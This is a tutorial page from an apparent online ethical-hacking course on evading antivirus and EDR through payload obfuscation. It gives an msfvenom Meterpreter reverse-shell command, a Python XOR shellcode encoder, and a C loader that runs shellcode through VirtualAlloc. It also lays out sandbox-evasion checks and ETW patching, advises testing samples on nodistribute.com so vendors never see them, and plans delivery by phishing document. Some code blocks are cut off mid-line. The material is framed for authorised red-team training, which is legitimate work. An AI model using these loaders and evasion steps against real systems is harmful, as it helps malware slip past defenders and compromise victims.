This article teaches payload obfuscation techniques for authorized red team engagements, explaining why built-in Metasploit encoders fail against modern endpoint protection and demonstrating custom encoding, encryption, and packing approaches to reduce antivirus detection rates. The article addresses the fundamental problem that default msfvenom payloads are signature-detected within hours, then provides layered obfuscation strategies that reduce detection from 52/72 engines (raw) to 1-3/72 engines (custom-compiled loader). Understanding these techniques matters because red teamers must simulate real adversary sophistication to help blue teams learn effective detection methods, while the article emphasizes this knowledge applies only to authorized penetration tests and lab environments.
- Why Default Encoders Are WorthlessBuilt-in msfvenom encoders like shikata_ga_nai, xor_dynamic, and zutto_dekiru now produce detection rates of 30-50+ out of 72 engines because AV vendors have added signatures for the encoder stubs (decoder code that runs first), the encoded payload patterns, and the characteristic code sequences of the encoding algorithms themselves. The article provides concrete detection rate data: a raw payload scores 52/72 detections, while shikata_ga_nai-encoded payloads score 44/72—only a 15-20% improvement because the encoder itself is a known signature. Every red teamer has used these encoders for a de
- Custom XOR Encoding BaselineXOR serves as the foundation technique because it is mathematically self-inverse (XORing twice with the same key restores the original), making it simple to implement, fast to execute, and requiring no external dependencies. The article provides a Python example that generates a random XOR key (avoiding 0x00 to prevent null byte issues), encodes each byte of shellcode with that key, and outputs the result as a C array. Custom XOR encoding with a unique random key produces detection rates of 8-15/72 engines because the output byte pattern is completely unique and unknown to signature databases,
- Multi-Layer Obfuscation Pipeline ArchitectureThe professional red team pipeline compounds transformations: raw shellcode → XOR encoding with random key → AES-256 encryption with hardcoded loader key → base64 wrapping for safe embedding → compilation into custom C loader. Each layer forces AV static analysis engines to reverse multiple transformations; most engines have depth limits and time out or default to heuristic scoring before reaching the original payload bytes. The article shows the detection rate progression: raw (52/72) → XOR layer (15/72) → AES layer (5/72) → compiled custom loader (1-3/72). Compilation produces a unique PE bi
- C Loader Runtime Execution PatternThe minimal effective loader allocates executable memory using VirtualAlloc, copies decoded shellcode into that memory, and transfers execution via function pointer cast. The article provides skeleton code showing the XOR decode loop restoring original bytes, VirtualAlloc allocating memory with PAGE_EXECUTE_READWRITE permission, memcpy copying the decoded payload, and a function pointer cast executing the shellcode. This pattern is identical to legitimate software protectors, preventing AV products from simply blocking all VirtualAlloc + shellcode execution without generating false positives.
- Polymorphic Payload Generation StrategyTrue polymorphism inserts junk instructions (NOPs, useless arithmetic, register swaps), reorders independent code blocks, and substitutes equivalent instruction sequences—each generated sample has different bytes but identical execution. The article notes that most penetration testers achieve functional polymorphism through compilation with varying compiler flags, random variable name generation in loader source code, and unique encoding keys per build rather than implementing a true polymorphic engine. The practical result is identical: a unique file hash on every build that does not match an
- Detection Testing Without Signature SharingThe article specifies using nodistribute.com instead of VirusTotal to check detection rates across multiple AV engines without submitting samples to vendor databases where they would be added as signatures within hours. Documentation must record the detection rate before obfuscation, after each obfuscation layer, and the specific technique applied at each step—this documentation becomes evidence in the penetration test report demonstrating whether the payload would evade the target's specific security products. This practice protects the engagement from premature signature distribution.
- Target-Specific Obfuscation Pipeline DesignThe article emphasizes through Exercise 1 that there is no universally perfect obfuscation technique; the right pipeline depends on the target's specific security product stack and known detection methods. Design decisions depend on analyzing whether the target uses signature-based detection, behavioral analysis (process injection monitoring, network beacon detection, memory scanning), heuristic detection, or cloud-based sandboxes. Each obfuscation layer choice involves tradeoffs: custom XOR is easy to implement but XOR stubs are becoming known; AES encryption requires secure key storage in th
- Realistic Detection Rate GoalsThe article clarifies that the goal in authorized red team engagements is not zero detections but testing whether the target's controls catch the level of sophistication used by adversaries they actually face. The detection rate comparison table shows raw payloads at 52/72, built-in encoders at 44/72, custom XOR at 8-15/72, and custom C loaders with compile-time randomization at 1-3/72 engines. A 'good enough' payload for engagement purposes demonstrates that basic signature-based detection would fail against a moderately sophisticated attack, while also revealing to the blue team what behavio
Bottom line: Modern payload obfuscation requires custom encoding pipelines (not built-in encoders), multi-layer transformations combining XOR/AES encryption with C compilation, and target-specific design based on the defender's exact security product stack—not universal techniques. The single critical practice is testing detection rates on nodistribute.com before deployment in authorized engagements to document what the target's security controls actually catch.
Part of the Free Ethical Hacking Course
Real payload obfuscation in 2026 is a layered problem. You’re not fighting one detection method — you’re fighting signature scanning, behavioural analysis, heuristic detection, and cloud-based sandboxes simultaneously. Beating all four requires understanding what each one looks for and applying the minimum transformation needed to defeat it without introducing new signatures.
I’m covering the techniques that actually work on modern EDR in controlled red team environments: encoding, encryption, packing, string obfuscation, and sleep-based sandbox evasion. Everything here is for authorised red team engagements. The controls exist for real reasons — your job in a red team context is to simulate what a sophisticated attacker would do, so the blue team can learn what to detect.
🎯 What You’ll Master in Day 34
⏱️ 40 min · 3 exercises · Kali Linux recommended
📋 Prerequisites — Day 34
- Day 33: AV Evasion Basics — Signature vs behaviour detection — essential context for understanding which obfuscation technique defeats which detection method
- Kali Linux with msfvenom available (part of Metasploit Framework)
- Basic Python knowledge for encoding script examples
📋 Payload Obfuscation 2026 — Contents
Why Built-in Encoders Fail Modern AV
Let’s start with what msfvenom gives you out of the box and why it’s not enough. The built-in encoders — shikata_ga_nai, xor_dynamic, zutto_dekiru — were effective in 2015. Today they’re fully signatured. Every major AV products because signature databases didn’t contain their output patterns. In 2026, these encoders are among the most well-documented and widely-detected patterns in AV vendor databases. Running a shikata_ga_nai-encoded payload through any commercial AV product produces a detection rate of 30-50+ engines out of 72 — worse than some unencoded payloads.
The reason is straightforward: encoder algorithms are public. AV vendors add signatures for the encoder stubs (the decoder code that runs first before handing control to the payload), for the encoded payload patterns, and for the characteristic code sequences of the encoding algorithm itself. The only encoding that defeats signature detection reliably is encoding the AV vendor has never seen — which means custom encoding pipelines, not the built-in options that every red teamer has used for a decade.
XOR Encoding — The Foundation Technique
XOR is the foundation encoding technique because of its mathematical properties: XOR is its own inverse. If you XOR a byte with a key to encode it, XORing the result with the same key restores the original. This makes XOR encoding simple to implement, fast to execute, and straightforward to decode at runtime without external dependencies. The transformation changes every byte in the payload — a unique key produces a completely unique output pattern that signature databases won’t recognise.
⏱️ 20 minutes · No tools required · Pure analysis
a target running Windows 10 endpoints with Defender + CrowdStrike Falcon.
Intelligence gathering confirmed: signature-based detection is
supplemented by behaviour analysis (process injection monitoring,
network beacon detection, memory scanning).
Your objective: design a payload obfuscation pipeline that:
1. Defeats signature detection (static analysis)
2. Minimises behaviour detection triggers
3. Can be deployed via a phishing document
DESIGN QUESTIONS:
1. ENCODING LAYER
What encoding will you use? Why custom over msfvenom built-in?
What key length and encoding algorithm?
2. ENCRYPTION LAYER
Why add an encryption layer on top of encoding?
What cipher? Why does key storage matter?
3. LOADER DESIGN
The loader decodes/decrypts at runtime. What language?
(C/C++ PE vs PowerShell vs Python vs C#)
What behaviour does each loader language trigger in CrowdStrike?
4. EXECUTION METHOD
How does the loader execute the final shellcode?
(VirtualAlloc + CreateThread vs process injection vs alternative)
Which method triggers the fewest behaviour alerts?
5. DELIVERY MECHANISM
How does the phishing document deliver the loader?
What Office macro or external template approach?
What detection does each trigger?
6. DETECTION RATE TARGET
What is a realistic final detection rate goal?
When is a payload “good enough” for a red team engagement?
📸 Share your pipeline design in your notes.
Multi-Layer Obfuscation Pipelines
Single-layer obfuscation (encoding alone) is defeated by AV engines that recognise the encoding pattern or learn the stub signature. Multi-layer pipelines compound transformations: XOR encode first, then base64 wrap the result, then compress, then encrypt with AES. Each layer adds processing the AV static analyser must reverse to reach the original shellcode. Most AV static analysis engines have depth limits — they follow one or two layers of transformation before timing out or defaulting to a heuristic score rather than the actual payload bytes.
The standard professional red team pipeline for Windows targets: raw shellcode from msfvenom (format: raw bytes) → XOR encoding with a random key → AES-256 encryption with a hardcoded key in the loader → base64 encoding for safe embedding in source code → compiled into a C loader that reverses the pipeline at runtime. The compiled loader is unique on every build because the XOR key is randomised and the AES key is chosen per engagement. The executable has no matching hash in any database.
Custom Packers and Loaders
A loader is a minimal executable whose sole purpose is to decode and execute a payload. The most effective loaders are written in C and compiled specifically for the engagement — producing a PE (Portable Executable) file with unique metadata, no debug symbols, and no recognisable code patterns. The loader allocates executable memory using VirtualAlloc, copies the decoded shellcode into that memory, and transfers execution to it. This is the same technique used by legitimate software protectors, which is why AV products can’t simply block all VirtualAlloc + shellcode execution without creating false positives.
unsigned char buf[] = { 0x4d,0x5a,… }; // XOR+AES encoded shellcode
int xor_key = 0x3f; // decode key
int main() {
// Step 1: XOR decode
for (int i=0; i<sizeof(buf); i++) buf[i] ^= xor_key;
// Step 2: Allocate executable memory
void* exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Step 3: Copy decoded shellcode
memcpy(exec, buf, sizeof(buf));
// Step 4: Execute
((void(*)())exec)();
return 0;
}
Polymorphic Payload Generation
Polymorphic payloads change their own code on each generation while maintaining identical execution behaviour. True polymorphism inserts junk instructions (NOPs, arithmetic that produces no useful result, register swaps), reorders independent code blocks, substitutes equivalent instruction sequences, and randomises variable names and register allocation. The result: each generated sample has a completely different byte sequence despite executing the same payload.
In practice, most penetration testers achieve functional polymorphism through compilation with varying compiler flags, random variable name generation in loader source code, and unique encoding keys per build rather than implementing a true polymorphic engine. The goal is the same: a unique file hash on every build that doesn’t match any known sample in AV databases.
Measuring and Documenting Detection Rates
Every payload in an authorised engagement should be tested for detection rate before deployment. Use nodistribute.com — not VirusTotal — to check detection across multiple AV engines without submitting samples to vendor databases where they would be added as signatures within hours. Document: the detection rate before obfuscation, the detection rate after each obfuscation layer, and the specific technique applied at each step. This documentation goes into the penetration test report as evidence that the payload would evade the target’s specific security products.
⏱️ 25 minutes · Kali Linux required · Lab environment only
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.bin
ls -la payload.bin
# Step 2: Write the XOR encoder (save as xor_encode.py)
cat > xor_encode.py << 'PYEOF'
import random
key = random.randint(1, 254)
with open("payload.bin","rb") as f: sc = f.read()
encoded = bytes([b ^ key for b in sc])
with open("encoded.bin","wb") as f: f.write(encoded)
# Output C array
print(f"int key = 0x{key:02x};")
print(f"unsigned char buf[{len(encoded)}] = {{")
hex_bytes = [f"0x{b:02x}" for b in encoded]
for i in range(0, len(hex_bytes), 12):
print(" " + ", ".join(hex_bytes[i:i+12]) + ",")
print("};")
PYEOFpython3 xor_encode.py > shellcode.h
# Step 3: Write the C loader (save as loader.c) 📸 Screenshot the hash comparison showing different md5sums. Share in your notes.
cat > loader.c << 'CEOF'
#include
#include
#include
#include “shellcode.h”
int main() {
unsigned char decoded[sizeof(buf)];
for (int i=0; i
⏱️ 15 minutes · Browser only
Search: “AV bypass techniques 2025 2026 site:github.com”
Search: “shellcode loader C AV evasion 2025”
What new techniques are researchers using?
What are AV vendors doing to counter them?
Step 2: Review the Veil Framework (historical reference)
Search: “Veil Framework AV evasion Kali”
Why did msfvenom encoders stop working?
What did Veil do differently?
Step 3: Research behaviour-based bypass challenges
Search: “AMSI bypass 2026 PowerShell”
Search: “ETW patch shellcode loader 2026”
Why is behaviour-based detection harder to bypass than signatures?
What are the current research frontiers?
Step 4: Check what OSCP/CEH exams test
Search: “OSCP payload obfuscation exam”
What level of obfuscation knowledge is tested?
Is exam focus on msfvenom encoding or custom techniques?
Step 5: Summarise the detection avoidance arms race
Write a 5-sentence summary:
– What worked in 2015 (and doesn’t now)
– What works in 2026 (and why it works)
– Why the gap between attacker and defender is shrinking
📸 Share your arms race summary in your notes
🧠 QUICK CHECK — Payload Obfuscation
📋 Payload Obfuscation Reference — Day 34
🏆 Day 34 Complete — Payload Obfuscation
Day 35 covers C2 frameworks — Cobalt Strike, Sliver, and Empire — and how red teams maintain covert persistent access in authorised engagements.
What Modern EDR Actually Detects — Building Your Evasion Around the Right Target
The biggest mistake in obfuscation work is fighting the wrong battle. Teams spend hours modifying shellcode signatures when the EDR they’re facing doesn’t use static signatures at all — it uses behavioural hooks in the Windows API. You’ve obfuscated something the detection engine wasn’t looking at.
Modern EDR primarily detects through three channels. API hooking instruments calls like VirtualAlloc, WriteProcessMemory, and CreateRemoteThread — the classic process injection sequence. ETW (Event Tracing for Windows) captures PowerShell, .NET CLR activity, and command-line arguments at the kernel level. Memory scanning looks for shellcode patterns in process memory after execution, not just at the file level.
Understanding which detection channel your target EDR relies on changes your obfuscation approach entirely. File-based static signatures: encode, encrypt, pack. API hooking: use direct syscalls instead of Win32 API wrappers. ETW: patch ETW in-memory or use managed code that doesn’t trigger the hooks. Memory scanning: encrypt the payload in memory and only decrypt immediately before execution.
On a real red team engagement, I identify the target EDR during initial recon — process list, driver names in C:\Windows\System32\drivers\, WMI queries. Knowing whether you’re facing CrowdStrike, SentinelOne, or Microsoft Defender changes your first-stage loader strategy before you write a single line of obfuscation code. The bypass technique is the last step, not the first.
The sandbox detection techniques deserve their own focus because they’re often the deciding factor between a first-stage loader getting caught and passing. Commercial sandboxes (Cuckoo, Any.run, enterprise AV cloud sandboxes) run your payload for a limited window — typically 30 to 120 seconds — and look for malicious behaviour. A payload that sleeps for 300 seconds before executing avoids the entire sandbox window. Combine the sleep with a time validation check: confirm the system has actually been running for 5+ minutes (not a freshly spun VM) before proceeding.
Environmental checks extend this further. Check for a minimum number of running processes. Check for a realistic amount of disk space. Check for mouse movement history. A sandbox environment has characteristics a workstation doesn’t — minimal processes, no user profile data, no browser history. None of these checks is foolproof individually. Combined, they raise the cost of sandbox analysis enough that your payload survives automated detection and only gets flagged by a human analyst, which is a very different situation.
❓ Frequently Asked Questions — Payload Obfuscation 2026
What is payload obfuscation in penetration testing?
What is the difference between encoding and encryption for payloads?
Does msfvenom encoding bypass modern AV?
What is a payload packer?
Is payload obfuscation legal?
What comes after payload obfuscation in the course?
Day 33: AV Evasion Basics
Day 35: C2 Frameworks
📚 Further Reading
- Day 33: AV Evasion Basics — Signature vs behaviour detection — the foundational context for understanding which obfuscation layer defeats which detection method.
- Free Ethical Hacking Course Hub — Full course overview — Day 34 payload obfuscation is the second article in the AV evasion block, leading into Day 35 C2 frameworks.
- AI-Generated Malware and AV Bypass 2026 — How AI tools are being used to generate polymorphic payload variants — the next evolution of obfuscation automation.
- DefensiveCSharp — C# Security Research — C# loader and obfuscation research directly applicable to modern red team payload development on Windows targets.
- AV Evasion Techniques Repository — Curated collection of AV bypass research including loader implementations, encoding pipelines, and AMSI bypass techniques for authorised testing.

